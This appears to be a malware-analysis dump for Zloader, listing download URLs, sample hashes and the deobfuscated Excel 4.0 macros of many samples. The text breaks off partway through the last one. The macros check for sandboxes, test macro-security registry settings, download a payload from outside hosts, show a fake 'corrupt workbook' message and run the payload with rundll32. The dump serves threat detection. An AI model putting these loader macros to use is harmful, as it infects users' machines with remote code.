Zloader - Deobfuscated Macro

URLS, count
https://assemble.sg/wp-front.php	22
https://cworld.top/wp-front.php	22
https://efbzfyvsb.website/f2f23	8
https://ddfspwxrb.club/fb2g424g	14
http://fcowhcwsb.space/erg4ewr1	7
https://greentec-automation.com/wp-cran.php	2
https://narensyndicate.com/wp-cran.php	2
https://greentec-automation.com/wp-crun.php	3
https://narensyndicate.com/wp-crun.php	3

HASHES
0066bbdf73e28a97dbbb1026712267b56b598eac8a1513da2e8078ce33692e4c
00ad13fa3fd2b1fe626433aec598726ea494d83f7d185a51a721850cff97781a
00fa1019a11da3a4788a5f10eb8e29b966afee97da21ced72444ddfa417b7d1f
01171bdba169c60d2750ca824aa61394f0940bf1d566e762591de92caa5954de
078bdd70ccae34837c3a26979f6d23839935f7cf33e5d25b9cd27f75f8d0ac0c
07a418b28c713b60a4c0640f92ee837f841f93d72d8d54d47a6249ea5971ffea
07edb91717b7681e3a5001df0779c7d146323eebfafe5acfeb029ddc0de2d8f5
0c28aa2fc0695ffc2cae2410720177f376329e9586fe9cd024ba97e70d570407
0c32b2291d2f36330b24b1d4bc6d106e5dbd5d7f5b3d4aa43a2e49d9efb6d293
0c54264ff7824d4f6b0a5972d7d7c08e9ceda51a0a20920db40b672e3572a709
0c9e1e8fcf8197522f477408b9354e3e94145d653820e0070f81480cf3dece65
0e693b9796698ba3005ba24a3028354cf70a95fc7d34eb6745f04255e811b50c
0e6a4b49a500166adbf705048d48a7cbf387a74bcdce1c16d84082204242c7fb
0e9ec7a974b87f4c16c842e648dd212f80349eecb4e636087770bc1748206c3b
0f483de59e086600051051c55d89e3f351f4fbbbc051cacf7481b4209a1d5e25
1266f2e2bc66b677295913ff5e9d6d80437af0f4609f02e0920564e775854c76
12f66f168341e3ef08e507ed7fed7a45d9430bfc6b57309bd803500be64ad07c
145217e66d1ebecad8f32ca5bc7509bdc54de95a7d78c920265ae83509dccb37
15275c0f7feb25bbd1c64d37ea7489849579bca9565239c82cbc6e74c09268fa
166e74a958e76ee50f889b092efa506e3b659bed1c3d82dfbcc95b90792a6746
170b4ddc50e479fc45194bf011b125de4883f8dc7dd40b8fa2d5515504abe20d
17c22e5fb4e7d9833ad3a3bb99d2dbceec35d65ca3df2f2f594447a6d43256cf
17f0df4bcdecef88fc634fee9ec560cd81e935b3bdab569ce58536039074da73
17f7fba52659e49bbcd788022bc079ed9a0028680c5ce9cb09b6ccc148cf7d9b
1a0e08248e3a6e053afc293482b48f1c2fe345cd863ed63cb279599ce8a099b8
1aecc59781e07fe93184cbea2dd82738ccd76045d6eda669329afa151aab0f17
1c3cadbdb6d9f6ddd42dac0e52a8f657e567b6e9edcd01bcce264fe46760aca5
1ecf507dc0a49cd73615cfc22cbc8ff62526b22de1168ce99f2657fe0dadb788
1f54709a54ae7300279115188cf9015dad5146e59b6306e69026dce75c74e115
1fad7907d00ac5c87fcb492de8273d41fbef51f8d8b1364f75e81a56577841ee
1ff80c5aeff03dc83112cddf2e807c281f09a09cdd1c53de68334ee04d97d987
22bb1293cfd109d0b8bd44d410f379deb8c4d02b095552b8954c6a75e5bc9ae9
2458eec040213f72bb3ac118c26cb49ceb7f3591d1a534e4533f1ddaf07b49a1
246688f7cf49c8641cca934340e61415a599d0f60d3db7db6e1d95334a760128
24940237fe63867d76bb6623119d9accf0154e3bb695eb39abb3db9d5dd1478f
249dc12dbaf933345e21e339ab247af3705205954cef78135486c50cd0da87a8
256bbe555af14dcfe138d8e6ee89bdc12b9e1b1174464697e939c62981876ff2
256fa7c39e92a9d5ca30cd499761986eebb5e4a76638000016a040addd1700b6
25821076bde5f4075b4d0d791dfa5e97942b918032b95a22449795e1ae44c0fa
25c3c44e3eb700bc26528cd5518d10f3c0ce9bbca42e558455f56b3c743a47bc
260a1586c3aeca77e50aa4d34e4b79a8d96e0df8079a6cabab94340b2db55c99
2672f0d5fea87c66056968b75cb7cbe1ab1385a3271742d4922bf3f2bf014a7c
2aa9e690895bd08efe0bc1ea961e03f99fd366ac488464c1c7925523172cfaee
2d14c9fcf22fbd93fca401026579176f511a7aa88bb9826e22ef75a37f89d45a
2e07ec0a7f2338357785a19d9c9a50aec122628b1168873556b8e36fcd368c16
2e0d33fc6ee66508b5e5c1e7886e498005a940fd10203e5c44606cf137060e91
2ee2221f65c537ed6e6c2ff760c010a68ae28bb6eb8e3133f263399a3e7626f2
2f287a26eab4d96d6be641b9b622c03dc24e1e500d6edc7f1d76d2ac7229b47d
31d22dc2d95d1581210f46c52d21d22b04f660cc210160cafd38abd9fea0cc63
341c8e54b1eb0d4d092825257143d28ebc8ab54587f650f5f4486494955bed7e

Deobfuscated Macro
SHA256: 0066bbdf73e28a97dbbb1026712267b56b598eac8a1513da2e8078ce33692e4c
GVUHe58Lrb
=IF(GET.WORKSPACE(19),,CLOSE(TRUE))
=IF(GET.WORKSPACE(42),,CLOSE(TRUE))
=IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))), ,CLOSE(TRUE))
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\reg.exe","EXPORT HKCU\Software\Microsoft\Office\"&GET.WORKSPACE(2)&"\Excel\Security c:\users\public\1.reg /y",0,5)
=WAIT(NOW()+"00:00:03")
=FOPEN("c:\users\public\1.reg")
=FPOS(R[-1]C, 215)
=FREAD(R[-2]C, 255)
=FCLOSE(R[-3]C)
=FILE.DELETE("c:\users\public\1.reg")
=IF(ISNUMBER(SEARCH("0001",R[-3]C)),CLOSE(FALSE),)
=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://assemble.sg/wp-front.php","c:\Users\Public\c6sga5ef.html",0,0)
=IF(R[-1]C<0,CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://cworld.top/wp-front.php","c:\Users\Public\c6sga5ef.html",0,0),)
=ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.",2)
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\rundll32.exe","c:\Users\Public\c6sga5ef.html,DllRegisterServer",0,5)
=CLOSE(FALSE)

SHA256: 00ad13fa3fd2b1fe626433aec598726ea494d83f7d185a51a721850cff97781a
9Ir6OfjsAA
=IF(GET.WORKSPACE(19),,CLOSE(TRUE))
=IF(GET.WORKSPACE(42),,CLOSE(TRUE))
=IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))), ,CLOSE(TRUE))
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\reg.exe","EXPORT HKCU\Software\Microsoft\Office\"&GET.WORKSPACE(2)&"\Excel\Security c:\users\public\1.reg /y",0,5)
=WAIT(NOW()+"00:00:03")
=FOPEN("c:\users\public\1.reg")
=FPOS(R[-1]C, 215)
=FREAD(R[-2]C, 255)
=FCLOSE(R[-3]C)
=FILE.DELETE("c:\users\public\1.reg")
=IF(ISNUMBER(SEARCH("0001",R[-3]C)),CLOSE(FALSE),)
=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://assemble.sg/wp-front.php","c:\Users\Public\c6sga5ef.html",0,0)
=IF(R[-1]C<0,CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://cworld.top/wp-front.php","c:\Users\Public\c6sga5ef.html",0,0),)
=ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.",2)
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\rundll32.exe","c:\Users\Public\c6sga5ef.html,DllRegisterServer",0,5)
=CLOSE(FALSE)

SHA256: 00fa1019a11da3a4788a5f10eb8e29b966afee97da21ced72444ddfa417b7d1f
6Jb792J4Iy
=IF(GET.WORKSPACE(19),,CLOSE(TRUE))A36A37A38A39A41A42
=IF(GET.WORKSPACE(42),,CLOSE(TRUE))
=IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))), ,CLOSE(TRUE))
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\reg.exe","EXPORT HKCU\Software\Microsoft\Office\"&GET.WORKSPACE(2)&"\Excel\Security c:\users\public\1.reg /y",0,5)D191D192D193D194D195D196D197D198D199D200D201D202D203D204D205D206D207D208D209D210
=WAIT(NOW()+"00:00:03")
=FOPEN("c:\users\public\1.reg")
=FPOS(R[-1]C, 215)G20G21G22
=FREAD(R[-2]C, 255)
=FCLOSE(R[-I15]C)
=FILE.DELETE("c:\users\public\1.reg")J39J41J42J43J44
=IF(ISNUMBER(SEARCH("0001",R[-K37]C)),CLOSE(FALSE),)
=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://efbzfyvsb.website/f2f23","c:\Users\Public\b7gf5yk.html",0,0)L132L133L134L135L137L138L139
=ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.",2)M114
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\rundll32.exe","c:\Users\Public\b7gf5yk.html,DllRegisterServer",0,5)N149N150N151N152N153N154N155N156N157N158N159N160N161N162N163
=CLOSE(FALSE)

SHA256: 01171bdba169c60d2750ca824aa61394f0940bf1d566e762591de92caa5954de
STA7jVrNVR
=IF(GET.WORKSPACE(19),,CLOSE(TRUE))
=IF(GET.WORKSPACE(42),,CLOSE(TRUE))
=IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))), ,CLOSE(TRUE))
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\reg.exe","EXPORT HKCU\Software\Microsoft\Office\"&GET.WORKSPACE(2)&"\Excel\Security c:\users\public\1.reg /y",0,5)
=WAIT(NOW()+"00:00:03")
=FOPEN("c:\users\public\1.reg")
=FPOS(R[-1]C, 215)
=FREAD(R[-2]C, 255)
=FCLOSE(R[-3]C)
=FILE.DELETE("c:\users\public\1.reg")
=IF(ISNUMBER(SEARCH("0001",R[-3]C)),CLOSE(FALSE),)
=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://ddfspwxrb.club/fb2g424g","c:\Users\Public\csg75ef.html",0,0)
=IF(R[-1]C<0,CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://ddfspwxrb.club/fb2g424g","c:\Users\Public\bwep5ef.html",0,0),)
=ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.",2)
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\rundll32.exe","c:\Users\Public\csg75ef.html,DllRegisterServer",0,5)
=CLOSE(FALSE)

SHA256: 078bdd70ccae34837c3a26979f6d23839935f7cf33e5d25b9cd27f75f8d0ac0c
eiAbQ7mGrr
=IF(GET.WORKSPACE(19),,CLOSE(TRUE))
=IF(GET.WORKSPACE(42),,CLOSE(TRUE))
=IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))), ,CLOSE(TRUE))
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\reg.exe","EXPORT HKCU\Software\Microsoft\Office\"&GET.WORKSPACE(2)&"\Excel\Security c:\users\public\1.reg /y",0,5)
=WAIT(NOW()+"00:00:03")
=FOPEN("c:\users\public\1.reg")
=FPOS(R[-1]C, 215)
=FREAD(R[-2]C, 255)
=FCLOSE(R[-3]C)
=FILE.DELETE("c:\users\public\1.reg")
=IF(ISNUMBER(SEARCH("0001",R[-3]C)),CLOSE(FALSE),)
=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://assemble.sg/wp-front.php","c:\Users\Public\c6sga5ef.html",0,0)
=IF(R[-1]C<0,CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://cworld.top/wp-front.php","c:\Users\Public\c6sga5ef.html",0,0),)
=ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.",2)
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\rundll32.exe","c:\Users\Public\c6sga5ef.html,DllRegisterServer",0,5)
=CLOSE(FALSE)

SHA256: 07a418b28c713b60a4c0640f92ee837f841f93d72d8d54d47a6249ea5971ffea
uloa7Nu85w
=IF(GET.WORKSPACE(19),,CLOSE(TRUE))
=IF(GET.WORKSPACE(42),,CLOSE(TRUE))
=IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))), ,CLOSE(TRUE))
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\reg.exe","EXPORT HKCU\Software\Microsoft\Office\"&GET.WORKSPACE(2)&"\Excel\Security c:\users\public\1.reg /y",0,5)
=WAIT(NOW()+"00:00:03")
=FOPEN("c:\users\public\1.reg")
=FPOS(R[-1]C, 215)
=FREAD(R[-2]C, 255)
=FCLOSE(R[-3]C)
=FILE.DELETE("c:\users\public\1.reg")
=IF(ISNUMBER(SEARCH("0001",R[-3]C)),CLOSE(FALSE),)
=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://ddfspwxrb.club/fb2g424g","c:\Users\Public\csg75ef.html",0,0)
=IF(R[-1]C<0,CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://ddfspwxrb.club/fb2g424g","c:\Users\Public\bwep5ef.html",0,0),)
=ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.",2)
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\rundll32.exe","c:\Users\Public\csg75ef.html,DllRegisterServer",0,5)
=CLOSE(FALSE)

SHA256: 07edb91717b7681e3a5001df0779c7d146323eebfafe5acfeb029ddc0de2d8f5
rQWtLvQjQM
=IF(GET.WORKSPACE(19),,CLOSE(TRUE))
=IF(GET.WORKSPACE(42),,CLOSE(TRUE))
=IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))), ,CLOSE(TRUE))
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\reg.exe","EXPORT HKCU\Software\Microsoft\Office\"&GET.WORKSPACE(2)&"\Excel\Security c:\users\public\1.reg /y",0,5)
=WAIT(NOW()+"00:00:03")
=FOPEN("c:\users\public\1.reg")
=FPOS(R[-1]C, 215)
=FREAD(R[-2]C, 255)
=FCLOSE(R[-3]C)
=FILE.DELETE("c:\users\public\1.reg")
=IF(ISNUMBER(SEARCH("0001",R[-3]C)),CLOSE(FALSE),)
=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://assemble.sg/wp-front.php","c:\Users\Public\c6sga5ef.html",0,0)
=IF(R[-1]C<0,CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://cworld.top/wp-front.php","c:\Users\Public\c6sga5ef.html",0,0),)
=ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.",2)
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\rundll32.exe","c:\Users\Public\c6sga5ef.html,DllRegisterServer",0,5)
=CLOSE(FALSE)

SHA256: 0c28aa2fc0695ffc2cae2410720177f376329e9586fe9cd024ba97e70d570407
ZDMjCWf4D0
=IF(GET.WORKSPACE(19),,CLOSE(TRUE))A36A37A38A39A41A42
=IF(GET.WORKSPACE(42),,CLOSE(TRUE))
=IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))), ,CLOSE(TRUE))
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\reg.exe","EXPORT HKCU\Software\Microsoft\Office\"&GET.WORKSPACE(2)&"\Excel\Security c:\users\public\1.reg /y",0,5)D191D192D193D194D195D196D197D198D199D200D201D202D203D204D205D206D207D208D209D210
=WAIT(NOW()+"00:00:03")
=FOPEN("c:\users\public\1.reg")
=FPOS(R[-1]C, 215)G20G21G22
=FREAD(R[-2]C, 255)
=FCLOSE(R[-I15]C)
=FILE.DELETE("c:\users\public\1.reg")J39J41J42J43J44
=IF(ISNUMBER(SEARCH("0001",R[-K37]C)),CLOSE(FALSE),)
=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://efbzfyvsb.website/f2f23","c:\Users\Public\b7gf5yk.html",0,0)L132L133L134L135L137L138L139
=ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.",2)M114
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\rundll32.exe","c:\Users\Public\b7gf5yk.html,DllRegisterServer",0,5)N149N150N151N152N153N154N155N156N157N158N159N160N161N162N163
=CLOSE(FALSE)

SHA256: 0c32b2291d2f36330b24b1d4bc6d106e5dbd5d7f5b3d4aa43a2e49d9efb6d293
HKH5hPQa8c
=IF(GET.WORKSPACE(19),,CLOSE(TRUE))
=IF(GET.WORKSPACE(42),,CLOSE(TRUE))B38B39B40B42B43
=IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))), ,CLOSE(TRUE))
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\reg.exe","EXPORT HKCU\Software\Microsoft\Office\"&GET.WORKSPACE(2)&"\Excel\Security c:\users\public\1.reg /y",0,5)D190D191D192D193D194D195D196D197D198D199D200D201D202D203D204D205D206D207D208D209D210D211
=WAIT(NOW()+"00:00:03")
=FOPEN("c:\users\public\1.reg")
=FPOS(R[-1]C, 215)
=FREAD(R[-2]C, 255)H19H20H22H23
=FCLOSE(R[-3]C)
=FILE.DELETE("c:\users\public\1.reg")
=IF(ISNUMBER(SEARCH("0001",R[-3]C)),CLOSE(FALSE),)K54K55K56K57K58K60K61
=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"http://fcowhcwsb.space/erg4ewr1","c:\Users\Public\b7gf5ef.html",0,0)
=ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.",2)M115
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\rundll32.exe","c:\Users\Public\b7gf5ef.html,DllRegisterServer",0,5)N150N151N152N153N154N155N156N157N158N159N160N161N162N163N164
=CLOSE(FALSE)

SHA256: 0c54264ff7824d4f6b0a5972d7d7c08e9ceda51a0a20920db40b672e3572a709
6JB9MusG5I
=IF(GET.WORKSPACE(19),,CLOSE(TRUE))
=IF(GET.WORKSPACE(42),,CLOSE(TRUE))
=IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))), ,CLOSE(TRUE))
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\reg.exe","EXPORT HKCU\Software\Microsoft\Office\"&GET.WORKSPACE(2)&"\Excel\Security c:\users\public\1.reg /y",0,5)D184D185D186D187D188D189D190D191D192D193D194D195D196D197D198D199D200D201D202D203D204D205D206D207D208D209D210D211
=WAIT(NOW()+"00:00:03")
=FOPEN("c:\users\public\1.reg")
=FPOS(R[-1]C, 215)
=FREAD(R[-2]C, 255)H21H22H24
=FCLOSE(R[-3]C)
=FILE.DELETE("c:\users\public\1.reg")
=IF(ISNUMBER(SEARCH("0001",R[-3]C)),CLOSE(FALSE),)
=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://greentec-automation.com/wp-cran.php","c:\Users\Public\cskc75ef.html",0,0)L124L125L126L127L129L130L131L132L133L134L136L137L138L139
=IF(R[-1]C<0,CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://narensyndicate.com/wp-cran.php","c:\Users\Public\cskc7M1375ef.html",0,0),)
=ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.",2)
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\rundll32.exe","c:\Users\Public\cskc75ef.html,DllRegisterServer",0,5)O149O150O151O152O153O154O155O156O157O158O159O160O161O162O163O164
=CLOSE(FALSE)

SHA256: 0c9e1e8fcf8197522f477408b9354e3e94145d653820e0070f81480cf3dece65
aVt9vPOaFb
=IF(GET.WORKSPACE(19),,CLOSE(TRUE))
=IF(GET.WORKSPACE(42),,CLOSE(TRUE))
=IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))), ,CLOSE(TRUE))
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\reg.exe","EXPORT HKCU\Software\Microsoft\Office\"&GET.WORKSPACE(2)&"\Excel\Security c:\users\public\1.reg /y",0,5)
=WAIT(NOW()+"00:00:03")
=FOPEN("c:\users\public\1.reg")
=FPOS(R[-1]C, 215)
=FREAD(R[-2]C, 255)
=FCLOSE(R[-3]C)
=FILE.DELETE("c:\users\public\1.reg")
=IF(ISNUMBER(SEARCH("0001",R[-3]C)),CLOSE(FALSE),)
=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://assemble.sg/wp-front.php","c:\Users\Public\c6sga5ef.html",0,0)
=IF(R[-1]C<0,CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://cworld.top/wp-front.php","c:\Users\Public\c6sga5ef.html",0,0),)
=ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.",2)
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\rundll32.exe","c:\Users\Public\c6sga5ef.html,DllRegisterServer",0,5)
=CLOSE(FALSE)

SHA256: 0e693b9796698ba3005ba24a3028354cf70a95fc7d34eb6745f04255e811b50c
B49YHBxYYc
=IF(GET.WORKSPACE(19),,CLOSE(TRUE))
=IF(GET.WORKSPACE(42),,CLOSE(TRUE))B38B39B40B42B43
=IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))), ,CLOSE(TRUE))
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\reg.exe","EXPORT HKCU\Software\Microsoft\Office\"&GET.WORKSPACE(2)&"\Excel\Security c:\users\public\1.reg /y",0,5)D190D191D192D193D194D195D196D197D198D199D200D201D202D203D204D205D206D207D208D209D210D211
=WAIT(NOW()+"00:00:03")
=FOPEN("c:\users\public\1.reg")
=FPOS(R[-1]C, 215)
=FREAD(R[-2]C, 255)H19H20H22H23
=FCLOSE(R[-3]C)
=FILE.DELETE("c:\users\public\1.reg")
=IF(ISNUMBER(SEARCH("0001",R[-3]C)),CLOSE(FALSE),)K54K55K56K57K58K60K61
=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"http://fcowhcwsb.space/erg4ewr1","c:\Users\Public\b7gf5ef.html",0,0)
=ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.",2)M115
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\rundll32.exe","c:\Users\Public\b7gf5ef.html,DllRegisterServer",0,5)N150N151N152N153N154N155N156N157N158N159N160N161N162N163N164
=CLOSE(FALSE)

SHA256: 0e6a4b49a500166adbf705048d48a7cbf387a74bcdce1c16d84082204242c7fb
k0nDyCvoly
=IF(GET.WORKSPACE(19),,CLOSE(TRUE))
=IF(GET.WORKSPACE(42),,CLOSE(TRUE))
=IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))), ,CLOSE(TRUE))
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\reg.exe","EXPORT HKCU\Software\Microsoft\Office\"&GET.WORKSPACE(2)&"\Excel\Security c:\users\public\1.reg /y",0,5)
=WAIT(NOW()+"00:00:03")
=FOPEN("c:\users\public\1.reg")
=FPOS(R[-1]C, 215)
=FREAD(R[-2]C, 255)
=FCLOSE(R[-3]C)
=FILE.DELETE("c:\users\public\1.reg")
=IF(ISNUMBER(SEARCH("0001",R[-3]C)),CLOSE(FALSE),)
=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://assemble.sg/wp-front.php","c:\Users\Public\c6sga5ef.html",0,0)
=IF(R[-1]C<0,CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://cworld.top/wp-front.php","c:\Users\Public\c6sga5ef.html",0,0),)
=ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.",2)
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\rundll32.exe","c:\Users\Public\c6sga5ef.html,DllRegisterServer",0,5)
=CLOSE(FALSE)

SHA256: 0e9ec7a974b87f4c16c842e648dd212f80349eecb4e636087770bc1748206c3b
iRkMZY7iUa
=IF(GET.WORKSPACE(19),,CLOSE(TRUE))
=IF(GET.WORKSPACE(42),,CLOSE(TRUE))B36B37B39B40B41B42B43
=IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))), ,CLOSE(TRUE))
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\reg.exe","EXPORT HKCU\Software\Microsoft\Office\"&GET.WORKSPACE(2)&"\Excel\Security c:\users\public\1.reg /y",0,5)D184D185D186D187D188D189D190D191D192D193D194D195D196D197D198D199D200D201D202D203D204D205D206D207D208D209D210D211
=WAIT(NOW()+"00:00:03")
=FOPEN("c:\users\public\1.reg")
=FPOS(R[-1]C, 215)
=FREAD(R[-2]C, 255)H21H22H24
=FCLOSE(R[-3]C)
=FILE.DELETE("c:\users\public\1.reg")
=IF(ISNUMBER(SEARCH("0001",R[-3]C)),CLOSE(FALSE),)
=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://greentec-automation.com/wp-crun.php","c:\Users\Public\csg75ef.html",0,0)L124L125L126L127L129L130L131L132L133L134L136L137L138L139
=IF(R[-1]C<0,CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://narensyndicate.com/wp-crun.php","c:\Users\Public\bwep5ef.html",0,0),)
=ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.",2)N115
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\rundll32.exe","c:\Users\Public\csg75ef.html,DllRegisterServer",0,5)O149O150O151O152O153O154O155O156O157O158O159O160O161O162O163O164
=CLOSE(FALSE)

SHA256: 0f483de59e086600051051c55d89e3f351f4fbbbc051cacf7481b4209a1d5e25
AN1nUXP6CF
=IF(GET.WORKSPACE(19),,CLOSE(TRUE))
=IF(GET.WORKSPACE(42),,CLOSE(TRUE))
=IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))), ,CLOSE(TRUE))
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\reg.exe","EXPORT HKCU\Software\Microsoft\Office\"&GET.WORKSPACE(2)&"\Excel\Security c:\users\public\1.reg /y",0,5)
=WAIT(NOW()+"00:00:03")
=FOPEN("c:\users\public\1.reg")
=FPOS(R[-1]C, 215)
=FREAD(R[-2]C, 255)
=FCLOSE(R[-3]C)
=FILE.DELETE("c:\users\public\1.reg")
=IF(ISNUMBER(SEARCH("0001",R[-3]C)),CLOSE(FALSE),)
=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://assemble.sg/wp-front.php","c:\Users\Public\c6sga5ef.html",0,0)
=IF(R[-1]C<0,CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://cworld.top/wp-front.php","c:\Users\Public\c6sga5ef.html",0,0),)
=ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.",2)
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\rundll32.exe","c:\Users\Public\c6sga5ef.html,DllRegisterServer",0,5)
=CLOSE(FALSE)

SHA256: 1266f2e2bc66b677295913ff5e9d6d80437af0f4609f02e0920564e775854c76
raazxanWOk
=IF(GET.WORKSPACE(19),,CLOSE(TRUE))
=IF(GET.WORKSPACE(42),,CLOSE(TRUE))B38B39B40B42B43
=IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))), ,CLOSE(TRUE))
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\reg.exe","EXPORT HKCU\Software\Microsoft\Office\"&GET.WORKSPACE(2)&"\Excel\Security c:\users\public\1.reg /y",0,5)D190D191D192D193D194D195D196D197D198D199D200D201D202D203D204D205D206D207D208D209D210D211
=WAIT(NOW()+"00:00:03")
=FOPEN("c:\users\public\1.reg")
=FPOS(R[-1]C, 215)
=FREAD(R[-2]C, 255)H19H20H22H23
=FCLOSE(R[-3]C)
=FILE.DELETE("c:\users\public\1.reg")
=IF(ISNUMBER(SEARCH("0001",R[-3]C)),CLOSE(FALSE),)K54K55K56K57K58K60K61
=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"http://fcowhcwsb.space/erg4ewr1","c:\Users\Public\b7gf5ef.html",0,0)
=ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.",2)M115
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\rundll32.exe","c:\Users\Public\b7gf5ef.html,DllRegisterServer",0,5)N150N151N152N153N154N155N156N157N158N159N160N161N162N163N164
=CLOSE(FALSE)

SHA256: 12f66f168341e3ef08e507ed7fed7a45d9430bfc6b57309bd803500be64ad07c
eR0cw301Q7
=IF(GET.WORKSPACE(19),,CLOSE(TRUE))
=IF(GET.WORKSPACE(42),,CLOSE(TRUE))B38B39B40B42B43
=IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))), ,CLOSE(TRUE))
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\reg.exe","EXPORT HKCU\Software\Microsoft\Office\"&GET.WORKSPACE(2)&"\Excel\Security c:\users\public\1.reg /y",0,5)D190D191D192D193D194D195D196D197D198D199D200D201D202D203D204D205D206D207D208D209D210D211
=WAIT(NOW()+"00:00:03")
=FOPEN("c:\users\public\1.reg")
=FPOS(R[-1]C, 215)
=FREAD(R[-2]C, 255)H19H20H22H23
=FCLOSE(R[-3]C)
=FILE.DELETE("c:\users\public\1.reg")
=IF(ISNUMBER(SEARCH("0001",R[-3]C)),CLOSE(FALSE),)K54K55K56K57K58K60K61
